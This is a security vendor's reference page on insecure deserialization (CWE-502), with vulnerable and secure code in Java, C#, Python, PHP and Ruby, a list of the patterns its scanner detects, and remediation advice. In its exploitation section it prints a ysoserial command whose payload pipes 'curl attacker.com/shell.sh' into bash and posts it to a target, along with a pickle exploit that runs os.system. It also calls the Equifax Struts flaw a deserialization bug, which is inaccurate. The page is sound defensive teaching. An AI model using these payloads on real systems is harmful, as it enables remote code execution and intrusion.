Skip to main content

Insecure Deserialization

Insecure Deserialization occurs when an application deserializes untrusted data without validation, potentially allowing attackers to execute arbitrary code, tamper with application logic, or perform denial-of-service attacks.

High CWE-502 A08:2021 Software and Data Integrity Failures
Affects: C#JavaJavaScriptPHPPythonRuby

What is Insecure Deserialization?

Insecure Deserialization (CWE-502) occurs when an application converts serialized data (byte streams, JSON, XML, or binary formats) back into objects without verifying the integrity or type safety of the data. Serialization is used extensively for data transfer, caching, session management, and inter-process communication. When an attacker can control the serialized data, they can manipulate the deserialization process to:

  • Execute arbitrary code — By crafting serialized objects that trigger dangerous method calls during reconstruction (gadget chains)
  • Tamper with application logic — Modify serialized objects to escalate privileges, change prices, or alter workflow state
  • Cause denial of service — Submit deeply nested or recursive structures that consume memory and CPU
  • Bypass authentication — Modify serialized session tokens or authentication objects

Insecure deserialization is particularly dangerous in languages with rich type systems (Java, C#, Python, Ruby, PHP) where deserialization can trigger constructors, finalizers, and property setters automatically.

Why it matters

Deserialization vulnerabilities have been behind some of the most impactful security incidents:

  1. Remote Code Execution — The Apache Commons Collections deserialization vulnerability (CVE-2015-7501) affected virtually every major Java application server, including WebLogic, JBoss, Jenkins, and WebSphere
  2. Equifax breach (2017) — The breach that exposed 147 million records was enabled by a deserialization vulnerability in Apache Struts (CVE-2017-5638)
  3. Ubiquitous attack surface — Any application that deserializes cookies, JWT payloads, API payloads, message queue messages, cached objects, or ViewState is potentially vulnerable
  4. Difficult to patch — Fixing deserialization issues often requires architectural changes, not just input validation
  5. Tooling availability — Tools like ysoserial (Java), ysoserial.net (C#), and PHPGGC provide ready-made exploit payloads

How exploitation works

Java deserialization

Java’s ObjectInputStream.readObject() will instantiate any Serializable class available on the classpath. Attackers construct “gadget chains” — sequences of serializable classes whose methods are invoked during deserialization and ultimately execute arbitrary code.

// Attacker sends a crafted byte stream to this endpoint
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // Triggers gadget chain → RCE

Using ysoserial, an attacker generates a payload:

java -jar ysoserial.jar CommonsCollections6 "curl attacker.com/shell.sh | bash" > payload.bin
curl -X POST --data-binary @payload.bin https://target.com/api/import

Python pickle

Python’s pickle module can execute arbitrary code during deserialization by defining __reduce__:

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id > /tmp/pwned",))

payload = pickle.dumps(Exploit())
# This payload, when unpickled by the server, executes the command

PHP object injection

PHP’s unserialize() triggers magic methods (__wakeup, __destruct, __toString) on the instantiated objects:

// Attacker controls the serialized string
$data = unserialize($_COOKIE['session']);
// If a class with a dangerous __destruct or __wakeup exists, RCE is possible

Vulnerable code examples

Java

// VULNERABLE: Deserializing untrusted input
@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody byte[] data) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    Object imported = ois.readObject();  // Arbitrary class instantiation
    return ResponseEntity.ok(imported);
}
// VULNERABLE: Deserializing from a message queue
public void onMessage(Message message) throws JMSException {
    ObjectMessage objMsg = (ObjectMessage) message;
    Order order = (Order) objMsg.getObject();  // Untrusted source
    processOrder(order);
}

C# / ASP.NET

// VULNERABLE: BinaryFormatter with untrusted data
public object Deserialize(Stream stream)
{
    BinaryFormatter formatter = new BinaryFormatter();
    return formatter.Deserialize(stream);  // Arbitrary type instantiation
}
// VULNERABLE: Newtonsoft.Json with TypeNameHandling
JsonSerializerSettings settings = new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.All  // Allows attacker-controlled types
};
var obj = JsonConvert.DeserializeObject<object>(userInput, settings);

Python

# VULNERABLE: pickle.loads on untrusted data
import pickle

def load_session(request):
    session_data = base64.b64decode(request.cookies.get('session'))
    return pickle.loads(session_data)  # Arbitrary code execution

PHP

// VULNERABLE: unserialize with user input
$user_prefs = unserialize($_COOKIE['preferences']);

Ruby

# VULNERABLE: Marshal.load on untrusted data
data = Base64.decode64(params[:data])
obj = Marshal.load(data)  # Arbitrary object instantiation

Secure code examples

Java — Use JSON with strict typing

// SECURE: Use JSON deserialization with explicit type binding
@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody String json) {
    ObjectMapper mapper = new ObjectMapper();
    // Only allow specific known types
    mapper.activateDefaultTyping(
        BasicPolymorphicTypeValidator.builder()
            .allowIfSubType(ImportData.class)
            .build(),
        ObjectMapper.DefaultTyping.NON_FINAL
    );
    ImportData data = mapper.readValue(json, ImportData.class);
    return ResponseEntity.ok(data);
}
// SECURE: If ObjectInputStream is required, use a whitelist filter
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)) {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: " + desc.getName());
        }
        return super.resolveClass(desc);
    }
};

C# — Avoid BinaryFormatter, use System.Text.Json

// SECURE: Use System.Text.Json with strict type handling (no polymorphic type resolution)
public T Deserialize<T>(string json)
{
    return System.Text.Json.JsonSerializer.Deserialize<T>(json);
}

// If Newtonsoft.Json is required, never use TypeNameHandling
JsonSerializerSettings settings = new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.None  // Default and safest
};
var obj = JsonConvert.DeserializeObject<MyDto>(userInput, settings);

Python — Use JSON instead of pickle

# SECURE: Use JSON for untrusted data
import json

def load_session(request):
    session_data = request.cookies.get('session')
    return json.loads(session_data)  # Only creates dicts, lists, strings, numbers
# If pickle is absolutely necessary, use hmac signing
import hmac, hashlib, pickle

SECRET_KEY = os.environ['SECRET_KEY']

def load_signed_data(raw):
    signature, data = raw[:64], raw[64:]
    expected_sig = hmac.new(SECRET_KEY.encode(), data, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(signature, expected_sig):
        raise ValueError("Tampered data")
    return pickle.loads(data)  # Only after integrity verification

PHP — Use json_decode instead

// SECURE: Use JSON instead of PHP serialization
$user_prefs = json_decode($_COOKIE['preferences'], true);

// If unserialize is required, restrict allowed classes (PHP 7+)
$data = unserialize($input, ['allowed_classes' => [UserPreferences::class]]);

What Offensive360 detects

Our SAST engine identifies deserialization vulnerabilities through pattern recognition and data-flow analysis. We detect:

  • Dangerous deserializersObjectInputStream.readObject(), BinaryFormatter.Deserialize(), pickle.loads(), unserialize(), Marshal.load(), yaml.load() (without SafeLoader) receiving untrusted data
  • Unsafe JSON configuration — Newtonsoft.Json with TypeNameHandling.All or TypeNameHandling.Auto, Jackson with enableDefaultTyping(), fastjson without SafeMode
  • Untrusted sources — Deserialization of data from HTTP requests, cookies, message queues, file uploads, and external APIs
  • ViewState without MAC — ASP.NET ViewState deserialization without Message Authentication Code validation
  • YAML unsafe loadingyaml.load() without Loader=SafeLoader in Python, YAML.load() without safe_load in Ruby
  • XML-based deserializationXmlSerializer with user-controlled type parameters, XStream without security framework

Each finding identifies the specific deserialization API, the untrusted data source, and the potential impact (RCE, data tampering, or DoS).

Remediation guidance

  1. Never deserialize untrusted data with native serialization — Avoid ObjectInputStream, BinaryFormatter, pickle, Marshal, and unserialize() with untrusted input entirely. Use data-only formats like JSON or Protocol Buffers.

  2. If native deserialization is required, use allowlists — Restrict deserialization to specific known-safe classes. Java’s ObjectInputFilter (JEP 290), PHP’s allowed_classes, and custom resolveClass overrides provide this capability.

  3. Sign serialized data — Use HMAC or digital signatures to ensure integrity. Verify the signature before deserialization.

  4. Disable polymorphic type handling — In JSON libraries, disable features that allow the serialized data to specify which class to instantiate (TypeNameHandling.None in Newtonsoft, avoid @type in fastjson).

  5. Monitor deserialization — Log and alert on deserialization failures, which may indicate exploitation attempts.

  6. Keep libraries updated — Regularly update serialization libraries and remove unused libraries from the classpath (e.g., Apache Commons Collections) to reduce available gadget chains.

False-positive considerations

Offensive360 may flag deserialization that is safe in specific contexts:

  • Internal-only endpoints — Deserialization of data from trusted internal services (though this still carries risk if the internal service is compromised)
  • Signed/encrypted data — If the serialized data is cryptographically signed and the signature is verified before deserialization, tampering is prevented (though signing does not fully prevent gadget chain attacks in Java)
  • Safe deserializers — Some deserializers (e.g., json.loads() in Python, System.Text.Json in C#) only produce primitive types and are inherently safe
  • Test fixtures — Deserialization in test code that only processes local test data

References

Author: Offensive360 Security Research
Last reviewed: March 1, 2026

Detect Insecure Deserialization in your code

Run Offensive360 SAST against your codebase to find this and hundreds of other vulnerabilities.